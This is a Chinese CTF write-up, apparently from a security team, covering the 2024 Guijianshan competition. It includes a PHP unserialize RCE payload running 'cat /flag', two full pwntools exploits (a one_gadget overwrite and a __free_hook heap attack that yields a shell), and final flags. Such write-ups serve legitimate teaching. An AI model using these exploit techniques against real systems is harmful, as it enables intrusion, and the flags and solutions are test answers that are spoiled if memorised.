刚结束了2024年古剑山ctf比赛,让我们一起回顾一下那些引人入胜的题目以及巧妙的解题思路吧!在今天的分享中,我们将深入探讨部分题目及其解答方法,希望能够为大家提供一些启发和帮助。
web
01
un
点一下秘密
进行了传参
发现存在黑名单
直接读取源码
发现存在反序列化
对f的过滤关我code什么事情(
我们构造payload
要确保bbb为true
但是静态变量 我们需要用
self::$bbb = call_user_func($this->aaa["object"]);
来对bbb进行true赋值
回调函数 我们使用$a->aaa["object"] = 'time';
time回调 返回true
然后我们即可rce
<?php
error_reporting(0);
class pop
{
public $aaa;
public static $bbb = false;
public function __wakeup()
{
// PHP 5.4
throw new Exception("You're banned to serialize pop!");
}
public function __destruct()
{
for ($i=0; $i<2; $i++) {
if (self::$bbb) {
$this->aaa[1]($this->aaa[2]);
} else {
self::$bbb = call_user_func($this->aaa["object"]);
}
}
}
}
if (isset($_GET["code"])) {
unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
if(is_string($_GET["f"]) === false){
echo "The f param must be string";
exit();
}
$user_f = $_GET["f"];
$regex = "/[ <>?!@#$%&*()+=|\-\\}{:";'~`,\/]/";
if(preg_match($regex, $user_f)){
echo "The ".$user_f." has been detected by regular expression: ".$regex;
exit();
}
echo file_get_contents($user_f);
}else{
echo "<a href='/index.php?f=sbet'>show me secret!</a>";
}
$a=new pop();
$a->aaa[1]="system";
$a->aaa[2]="cat /flag";
$a->aaa["object"] = 'time';
echo "n";
echo serialize($a);
echo "n";
echo base64_encode(serialize($a));
TzozOiJwb3AiOjE6e3M6MzoiYWFhIjthOjM6e2k6MTtzOjY6InN5c3RlbSI7aToyO3M6OToiY2F0IC9mbGFnIjtzOjY6Im9iamVjdCI7czo0OiJ0aW1lIjt9fQ==
pwn
01
in
这里先用kali打老样子checksec一下
保护全开
利用ida查看sub_980()函数可以看到:
先输入一个size然后循环判断size是否大于0x400000,如果大于0x400000那么就要重新输入size直到size小于0x400000, 然后输入数据先读一个字节再读入存在size_4+31,下面也都是读入了。然后就可以直接one_gadget。
exp
from pwn import *
context.log_level = "debug"
context.terminal = ["wt.exe", "wsl"]
def establish_connection(binary_path):
binary = ELF(binary_path)
conn = remote("47.112.189.16", 36471)
return conn, binary
def attach_debugger(conn):
gdb.attach(conn)
pause()
def send_allocation(conn, size, data):
conn.sendlineafter(b"Size:n", str(size))
conn.sendlineafter(b"Data:n", data)
def libcbase(conn, recv_length=6, offset=0x3c5640):
conn.sendafter(b"Data:", b"x18")
conn.send(b"x40")
libc_base = u64(conn.recvuntil(b"x7f", drop=True)[-recv_length:].ljust(8, b"x00")) - offset
log.success("libc_base = " + hex(libc_base))
return libc_base
def find_one_gadget(libc_base, one_gadget_list):
one_gadget_addr = libc_base + one_gadget_list[3]
return one_gadget_addr
def execute_shell(conn, exit_func_offset, one_gadget_addr):
conn.sendafter(b"Now getshell!n", p64(exit_func_offset))
conn.send(p64(one_gadget_addr)[:3])
def main():
conn, binary = establish_connection("./inferno")
libc_file = ELF("./libc-2.23.so")
#attach_debugger(conn)
send_allocation(conn, 0x5e6611, '')
send_allocation(conn, 0x220000, '')
libc_base = libcbase(conn)
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget_addr = find_one_gadget(libc_base, one_gadgets)
exit_func_offset = libc_base + 0x5f0040 + 3848
execute_shell(conn, exit_func_offset, one_gadget_addr)
conn.interactive()
if __name__ == "__main__":
main()
02
mis
先check一下:
64位且保护全开
ida看看,main函数中主要有这几个功能:
其它函数没有问题,漏洞出现在sub_A4F()这个函数。
先通过溢出拿到libc的基地址,然后就可以写入shell了
# -*- coding: utf-8 -*-
from pwn import *
def send(data):
io.send(data)
def send_after(prompt, data):
io.sendafter(prompt, data)
def send_line(data):
io.sendline(data)
def send_line_after(prompt, data):
io.sendlineafter(prompt, data)
def recv(length):
io.recv(length)
def recv_until(prompt):
io.recvuntil(prompt)
def recv_line():
io.recvline()
def interactive():
io.interactive()
def uint32_to_str(value):
return u32(value.ljust(4, b'x00'))
def uint64_to_str(value):
return u64(value.ljust(8, b'x00'))
def log_success(message):
log.success(message)
def log_success_address(name, address):
log_success('{} -> 0x{:x}'.format(name, address))
binary_path = './pwn'
context(arch="amd64", log_level="debug")
libc_file = ELF('./libc.so.6')
io = remote("47.106.14.25", 34630)
def create_chunk(index, size, content):
recv_until('4.shown')
send_line('1')
recv_until(': ')
send_line(str(index))
recv_until(': ')
send_line(str(size))
recv_until(': ')
send(content)
def delete_chunk(index):
recv_until('4.shown')
send_line('2')
recv_until(': ')
send_line(str(index))
def modify_chunk(index, content):
recv_until('4.shown')
send_line('3')
recv_until(': ')
send_line(str(index))
recv_until(': ')
send(content)
def display_chunk(index):
recv_until('4.shown')
send_line('4')
recv_until(': ')
send_line(str(index))
create_chunk(8, 0xf0, 'A' * 0x10)
create_chunk(9, 0xf0, 'A' * 0x10)
create_chunk(10, 0xf0, 'A' * 0x10)
for i in range(8):
create_chunk(i, 0xF0, 'A' * 0xF1)
for i in range(7, -1, -1):
delete_chunk(i)
display_chunk(10)
recv(0x20)
libc_base_address = uint64_to_str(recv(6)) - 4111520
libc_file.address = libc_base_address
log_success_address('libc_base', libc_base_address)
delete_chunk(10)
delete_chunk(9)
modify_chunk(8, b'x00' * 0x20 + p64(libc_file.sym['__free_hook'] - 8))
create_chunk(9, 0xf0, 'A' * 0x10)
create_chunk(10, 0xf0, b'/bin/sh;' + p64(libc_file.sym['system']))
delete_chunk(10)
interactive()
misc
01
蓝书包
蓝书包解压后发现182个项目
爆破密码发现
-
zip和2.zip密码分别是10001和10002,大胆猜测一下后续依次递增,直接ai搜哈脚
import zipfile
import os
# 目标文件夹
target_folder = r"D:新建文件夹�69db7f5cb3f400ba9a1eef0ebb78390" # 你存放压缩包的文件夹
output_folder = r"D:新建文件夹�69db7f5cb3f400ba9a1eef0ebb78390�" # 你想要解压到的文件夹
# 批量解压
def batch_unzip(target_folder, output_folder):
for i in range(1, 183): # 182个压缩包,从1.zip到182.zip
zip_file = os.path.join(target_folder, f"{i}.zip")
password = str(10000 + i).encode() # 密码从10001到100182
if os.path.exists(zip_file): # 检查文件是否存在
try:
with zipfile.ZipFile(zip_file, 'r') as zip_ref:
# 尝试解压
zip_ref.setpassword(password)
zip_ref.extractall(output_folder) # 解压到目标文件夹
print(f"解压 {zip_file} 成功!")
except Exception as e:
print(f"解压 {zip_file} 失败: {e}")
else:
print(f"{zip_file} 不存在!")
if __name__ == "__main__":
batch_unzip(target_folder, output_folder)
得到
第一个文件发现是png文件头
用cat命令直接合成、cat s* > flag.png
爆破密码
得到flag
flag{8719e663c0507cecbff2db103a7f7cd7}
02
jpg
第一步,拿到图片:
直接binwork分离,拿到一个压缩包:
压缩包伪加密修复
拿到一个能拿到的pdf文件,pdf表面上啥都没有,其实暗藏信息
flag.pdf直接放到ps里面发现有一个二维码
扫描二维码得到信息
内容如下:
67f480eff11781617044bd47fb9535cfb0e4b6a09e51daff2107c536e9d4eebb3d517cfea6e3f176d4e0d37a9f3658845f3d1917cfce30a4f44ffa2e0af58485
明文攻击压缩包
拿到flag.txt:flag{10e23151aa0da35221a81dff81a53b4e}
re
01
India Pale Ale
算法是魔改rc4 base64换表 xor
Rc4魔改的应该是轮数,不过我直接动调拿到keystream去做的
先去获取
密文最后被异或了0x90异或回来就好了
去拿base64的表
BASE64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
byte_100007F00 = [13, 17, 19, 23, 29]
v10 = list(range(64))
v1 = 0
for i_1 in range(64):
v2 = v10[i_1]
v3 = v1 + v2 + byte_100007F00[i_1 % 5]
v4 = v3 + 63
if v3 >= 0:
v4 = v3
v1 = v3 - (v4 & 0xFFFFFFC0)
v10[i_1] = v10[v1]
v10[v1] = v2
mapped_result = [BASE64_table[v10[i]] for i in range(64)]
print("".join(mapped_result))
动调输入一串拿到密文解base后和原文异或拿到keystream
在和KeyStream异或拿到flag
enc = "bExa9y+XlAbleJPlBJy5r0AFPeJQKEODCQ6D23jOpR+X"
table = r"NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY"
custom_base64_chars = r"NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY"
standard_base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
reverse_trans_table = str.maketrans(custom_base64_chars, standard_base64_chars)
custom_base64_string = enc
standard_base64_string = custom_base64_string.translate(reverse_trans_table)
decoded_data = base64.b64decode(standard_base64_string)
KeyStream = [151, 102, 120, 77, 13, 194, 0, 144, 57, 216, 121, 61, 114, 22, 170, 151, 81, 50, 240, 40, 2, 115, 59, 57, 245, 8, 80, 105, 173, 155, 209, 180, 139]
for i in range(len(KeyStream)):
num = decoded_data[i] ^KeyStream[i]
print(chr(num),end="")
flag{45_4_105_r3v3r51n6_b361nn3r}
02
re
ida打开,一眼壳
查壳没有查出结果。大概率自写壳,动调
pushad后在exp处的内容下硬件断点
有个大跳,跟进
dump下来
就可以用了,在拖到ida,发现函数识别不全,有红色部分
有花,去花
修完大概是下面的样子
分析主要逻辑,关键函数为sub_291150()
进去查看,逻辑比较简单,俩字符串中的y变7,z变8即可
原:flag{de21cz4ycedfz16az31zd2dycy65ac41}
先:flag{de21c847cedf816a8318d2d7c765ac41}
crypto
01
cs
鉴定为逆天题目
题目描述:
截获了一段密文字符串jhjnjcjikmkfjjjkkejkkekdjgjcjnjhjnjcjiko,明文就在其中,请你把它找出来?
描述思路:
古典密码,对脑电波呗,随波逐流一把梭哈没出来
观察 很多j 很多k 莫非和jk有关进行俩俩分组,发现jhjnjcji重复,盲猜对应flag
脑洞题,出题人很逆天
jh h往前2 对应f jn n往前2 对应l
这么看来就是盲猜对了 的已知明文攻击按照这个思路k是尝试出来的,一个一个尝试,找到最相似的每组j开头第二个字母往前2个。k开头,第二个字母往后12个
最终flag:flag{thisisrealflag}
原文始发于微信公众号(ZeroPointZero安全团队):古剑山WriteUP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论